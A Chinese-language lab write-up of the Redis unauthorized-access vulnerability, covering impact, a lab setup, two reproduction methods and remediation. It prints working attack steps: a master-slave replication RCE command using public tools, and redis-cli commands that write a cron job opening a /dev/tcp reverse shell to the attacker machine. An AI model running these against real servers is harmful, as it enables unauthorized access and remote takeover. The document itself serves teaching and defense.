漏洞描述
Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。
漏洞的产生条件有以下两点:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
影响版本
Redis 2.x,3.x,4.x,5.x
漏洞危害
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
漏洞环境
服务端:centos 7 192.168.220.131
客户端:kali 192.168.220.134
服务端准备:
客户端准备:
(1)安装redis-cli
1.下载redis-cli:wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2.解压:
3.编译:
漏洞复现
方法一:利用主从复制rce
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
需要利用一个工具,GitHub下载即可。
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone https://github.com/Ridter/redis-rce.git
安装RedisModules-ExecuteCommand:
make进src目录make,不进也可以。
安装:redis-rce
步骤:
首先:测试目标靶机是否存在未授权访问,下图说明靶机存在未授权访问,导致信息泄露。可以看到版本:4.0.14步骤:
然后利用RedisModules-ExecuteCommand make生成一个module.so
利用主从复制rce获取shell:
攻击端执行:python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
获取shell。
方法二:在crontab里写定时任务,反弹shell
1.在客户端开启监听(kali攻击机)
2.在客户端(kali攻击机)使用redis-cli连接redis服务器,写入反弹shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.134/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
保存失败:我也不知道啥原因,知道的大佬请指教。原理保存成功后过一分钟就会反弹shell。可能是我之前输入错误的原因。
漏洞修复:
1、禁止外部访问Redis服务端口
2、禁止使用root权限启动redis服务
3、配置安全组,限制可连接Redis服务器的IP
参考链接: